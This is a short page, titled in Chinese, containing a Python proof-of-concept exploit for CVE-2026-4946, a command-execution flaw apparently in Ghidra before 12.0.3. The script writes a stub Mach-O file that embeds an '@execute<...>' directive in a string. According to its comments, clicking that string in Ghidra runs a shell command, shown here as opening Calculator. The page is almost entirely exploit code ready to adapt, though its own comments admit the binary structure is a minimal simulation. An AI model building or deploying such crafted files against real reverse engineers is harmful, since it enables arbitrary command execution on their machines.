CVE-2026-4946 Ghidra任意命令执行漏洞

# Proof of Concept for CVE-2026-4946 # This script generates a malicious Mach-O binary structure concept. # The payload uses the '@execute' directive within a CFString. import struct def create_malicious_macho(filename): """ Creates a dummy Mach-O file containing a malicious CFString. When analyzed in Ghidra < 12.0.3, clicking the string triggers the command. """ # The malicious command to execute (e.g., open calculator on macOS) command = b"open /Applications/Calculator.app" # The Ghidra script directive to execute the command # This string is placed where Ghidra expects a C String (CFString) payload = f"@execute<{command.decode()}>".encode('utf-8') with open(filename, 'wb') as f: # Mach-O Header (Magic number for 32-bit: 0xFEEDFACE) # This is a minimal header to simulate a binary structure f.write(struct.pack('<I', 0xFEEDFACE)) f.write(struct.pack('<I', 0x00000012)) # cputype (x86) f.write(struct.pack('<I', 0x00000001)) # cpusubtype f.write(struct.pack('<I', 0x00000000)) # filetype f.write(struct.pack('<I', 0x00000054)) # ncmds (dummy offset) f.write(struct.pack('<I', 0x00000000)) # sizeofcmds f.write(struct.pack('<I', 0x00000085)) # flags # In a real exploit, we would construct a proper __cstring section. # Here we just append the payload to simulate the data extraction. f.write(b"\x00" * 100) # Padding f.write(payload) print(f"[+] Generated malicious binary: {filename}") print(f"[+] Payload embedded: {payload.decode()}") if __name__ == "__main__": create_malicious_macho("ghidra_exploit_poc")